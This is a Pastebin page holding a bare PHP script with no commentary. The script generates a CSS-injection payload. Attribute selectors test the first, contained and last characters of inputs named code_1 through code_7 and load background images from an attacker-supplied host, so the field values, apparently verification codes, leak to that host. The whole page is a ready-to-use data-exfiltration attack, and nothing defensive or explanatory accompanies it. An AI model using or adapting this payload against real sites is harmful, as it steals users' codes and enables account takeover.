Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- header("Content-Type: text/css");
- $str = "code_";
- $collab = $_GET["collab"];
- for ($i=1;$i<8;$i++) {
- foreach(range('a','z') as $v){
- echo 'input[name="'.$str.''.$i.'"][value^="'.$v.'"] {background-image: url(https://'.$collab.'/hit1-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('A','Z') as $v){
- echo 'input[name="'.$str.''.$i.'"][value^="'.$v.'"] {background-image: url(https://'.$collab.'/hit1-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('0','9') as $v){
- echo 'input[name="'.$str.''.$i.'"][value^="'.$v.'"] {background-image: url(https://'.$collab.'/hit1-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('a','z') as $v){
- echo 'input[name="'.$str.''.$i.'"][value~="'.$v.'"] {background-image: url(https://'.$collab.'/hit2-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('A','Z') as $v){
- echo 'input[name="'.$str.''.$i.'"][value~="'.$v.'"] {background-image: url(https://'.$collab.'/hit2-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('0','9') as $v){
- echo 'input[name="'.$str.''.$i.'"][value~="'.$v.'"] {background-image: url(https://'.$collab.'/hit2-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('a','z') as $v){
- echo 'input[name="'.$str.''.$i.'"][value$="'.$v.'"] {background-image: url(https://'.$collab.'/hit3-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('A','Z') as $v){
- echo 'input[name="'.$str.''.$i.'"][value$="'.$v.'"] {background-image: url(https://'.$collab.'/hit3-'.$i.'-'.$v.');}' . "\n";
- }
- foreach(range('0','9') as $v){
- echo 'input[name="'.$str.''.$i.'"][value$="'.$v.'"] {background-image: url(https://'.$collab.'/hit3-'.$i.'-'.$v.');}' . "\n";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment